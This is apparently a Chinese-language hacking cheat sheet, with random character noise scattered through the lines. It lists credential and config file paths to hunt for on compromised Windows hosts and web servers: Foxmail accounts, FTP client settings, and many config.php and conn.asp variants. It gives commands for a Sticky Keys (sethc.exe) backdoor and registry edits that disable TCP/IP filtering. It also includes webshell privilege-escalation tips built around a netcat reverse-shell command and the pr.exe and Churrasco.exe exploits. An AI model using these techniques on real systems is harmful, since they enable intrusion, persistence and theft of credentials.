3 Z" C. f- \5 s9 ?$ j/ Jc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
4 G7 o' B+ `* G5 Bc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
# x; r# K6 m. W! Lc:\Program Files\Tencent\RTXServer\AppConfig.xml
2 f1 N" w( W8 r' B4 uC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
! V' `4 \4 z. v9 E& a; QC:\Program Files\tencent\Foxmal\Foxmail.exe
& h* B2 n6 M: I# |C:\Program Files\tencent\Foxmal\accounts.cfg
2 x  q4 r4 F" b/ j3 GC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
$ l% T* y6 a; Vc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
6 z5 T7 g- a& H( k5 wc:\Program Files\腾讯游戏\QQGAME\readme.txt
% j. x: ~  d* x  f- |) cc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
0 B/ X; ]6 a$ }: Ec:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
' ~. l! i! H* b& _( C
5 h! F! k# C5 Y* q, V3.网站相对路径:
( }4 j! o( m% t/ H9 ?/ `4 e+ [
/config.php
../../config.php
/ s1 B0 Z' x/ k2 R../config.php
../../../config.php
/config.inc.php
8 D6 g3 P- R2 \! L./config.inc.php
../../config.inc.php
! v. \3 }* C3 K) _7 S9 {8 E' i( S" |3 y../config.inc.php
6 r5 l5 D# ^. Z( `3 d3 F2 A  T../../../config.inc.php
4 A* _# B$ ?# S9 n. v8 {$ L( j7 ~/conn.php
% S! Z* i) m+ E5 M./conn.php
  J5 v6 q+ u! N. ^! Q../../conn.php
7 q& t/ X- ~8 B9 y; T( G3 a../conn.php
0 Q. B8 H* M$ U../../../conn.php
8 S& T$ `1 C! a+ _% f+ [/conn.asp
: e! K  T- X1 k: i5 w./conn.asp
../../conn.asp
& C, e5 [% y( u; ^. |../conn.asp
+ O1 o$ R5 Z& ^3 a' r; ]. G6 ^../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
; F- `) W6 M4 V5 g6 G../../../config.inc.php
/config/config.php
../../config/config.php
4 I  k+ E$ T- I; w1 s  m4 ]../config/config.php
' Q* q1 ^; r3 J9 a1 d8 b, k- B: V8 K../../../config/config.php
/config/config.inc.php
3 H( x, b$ y  o8 U; Y. N  _1 q6 O./config/config.inc.php
' O- N5 Q, o4 a- i0 A3 a../../config/config.inc.php
  Q1 `& ?1 G- R  x& s/ B../config/config.inc.php
0 q! I' X7 O& x! }* _../../../config/config.inc.php
/config/conn.php
/ T# M! U* c" L$ F# T/ a./config/conn.php
../../config/conn.php
! O# H) C5 g# Y" s, S1 m" Y# s../config/conn.php
../../../config/conn.php
/config/conn.asp
) [+ v6 }0 B( _. Q! I0 `' r./config/conn.asp
' g! v9 Z* p& [../../config/conn.asp
../config/conn.asp
( j; B3 t. W' d) M../../../config/conn.asp
/config/config.inc.php
. f+ F" d6 c6 b2 @./config/config.inc.php
/ Y5 I6 B' k9 {7 L" ^; Y, L7 `../../config/config.inc.php
% c8 K3 l; J& ^: v/ L5 |& Q../config/config.inc.php
) y4 J- d' k# {../../../config/config.inc.php
' l3 u* @4 I  i2 E" b* ]; E/data/config.php
! a" U/ X& ~# g  }! u8 g: h../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
5 b/ o5 ~- k6 n2 b4 P% S: S../../data/config.inc.php
../data/config.inc.php
1 _; F+ E! {" K8 |8 T; U../../../data/config.inc.php
. Q2 k& W5 p' _; G8 `/data/conn.php
./data/conn.php
8 i8 ?8 n# L! X) \2 B1 j4 f../../data/conn.php
& G( l: N, E) E7 D( |( G( d../data/conn.php
. B! b+ E. \. ?  ]5 D$ r. ^7 W( `../../../data/conn.php
/data/conn.asp
% N+ o. I) H6 T./data/conn.asp
../../data/conn.asp
../data/conn.asp
7 e& O0 q& C2 p  n  i2 e../../../data/conn.asp
/data/config.inc.php
3 ?, x: k+ I! }9 V+ }, M0 f4 R./data/config.inc.php
. r# b% p: |& F../../data/config.inc.php
2 V, i4 D0 V! P4 w0 W. a../data/config.inc.php
../../../data/config.inc.php
& \1 {) ^- \$ ~. T* z$ \/include/config.php
../../include/config.php
+ J! }! |5 \( G( [. G  k4 Z3 _( p../include/config.php
../../../include/config.php
% H; q- D" z6 Q, z( j! f/ s/include/config.inc.php
./include/config.inc.php
3 t# c/ E' C) L8 S../../include/config.inc.php
* g4 v! S/ A1 N$ C) r9 p../include/config.inc.php
../../../include/config.inc.php
9 W7 I% F/ o, V5 Z/include/conn.php
0 q8 m  |1 z2 U( I$ M. x$ I  _./include/conn.php
../../include/conn.php
3 T8 J1 H6 Y0 a4 V6 P) ^../include/conn.php
! x; U% I7 b; E../../../include/conn.php
+ B4 {9 Y/ z/ A/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
/ }; q! V, I9 M! ]* \) C../../../include/conn.asp
/include/config.inc.php
8 Q3 m4 \% U2 T# y! e./include/config.inc.php
../../include/config.inc.php
: q' H7 M0 @' D( ^../include/config.inc.php
; L5 a( g) p) o) \7 y../../../include/config.inc.php
% E1 r, w3 l9 Y. h  C$ V/inc/config.php
../../inc/config.php
../inc/config.php
7 o  \' t5 W5 |' G6 c! I../../../inc/config.php
- B/ z, w  [7 `7 u/inc/config.inc.php
  A: S- @# F  w  E+ @./inc/config.inc.php
+ u1 S! y9 t- Y../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
7 t1 G0 _( M+ ^' z) @* W1 c./inc/conn.php
& C, W+ J! [- r& E, ~* [9 Y../../inc/conn.php
& N0 t; b& S5 [5 e( b# d! M1 C../inc/conn.php
7 l3 @7 K5 Q" R' Z% t! E0 q  d../../../inc/conn.php
. p, \4 E: S" |$ V/inc/conn.asp
) A1 N6 ~+ ^& H9 w$ @./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
1 c3 W% _+ q# G( i* l: Y./inc/config.inc.php
9 b- E, }" z; v: J! ?8 g../../inc/config.inc.php
../inc/config.inc.php
4 D9 e1 E4 ^( s0 }! w. j../../../inc/config.inc.php
/index.php
./index.php
( x* ~! q# r2 [( w../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
& c7 F; m3 g' I2 a3 f8 m../../index.asp
  ^: x' v& B$ Z) r% B! j& f3 o9 R../index.asp
../../../index.asp
# e5 b* E* A  Q; H' u4 F6 T/ f) P/ `替换SHIFT后门
0 z$ L6 N+ U5 ~: T　attrib c:\windows\system32\sethc.exe -h -r -s

5 i& {% w+ `. ^7 O5 {/ m8 w　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
6 c+ N# \, T( N" ?9 f
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

$ j, h  y7 J; z　　attrib c:\windows\system32\sethc.exe +h +r +s
! k+ ~1 a' k0 E" a
. O# p7 O" C# c) q% d' |　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
8 }) m+ c, z  k5 |去除TCPIP筛选
, l, G+ Q5 i, x& x8 L/ eTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
! s8 v. g" }. W4 G, HHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

* P/ t) Z' o3 M: S- x! `! e& W分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 ]9 t( f2 \7 I$ f7 F1 y% Eregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
: `9 Z, q9 [3 ~  X2 a# M) m
+ d( j( Q; Y2 g) N$ g: t/ Q然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
0 ^- f' m' u3 ]! A8 O9 }
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
& B3 F7 G* R, g7 X; h0 a导入注册表即可

webshell提权小技巧
0 C( {2 a1 B; V, \cmd路径:
c:\windows\temp\cmd.exe
; v7 _. Q) \8 {0 pnc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
" z# L# ]5 N' F
5 A/ _! ~/ b5 z, c: N; o5 A而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
' h/ y. b3 P( _2 K( d' Q9 M却能成功。。
+ I0 v% _+ M' U' U* [$ a9 ]这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功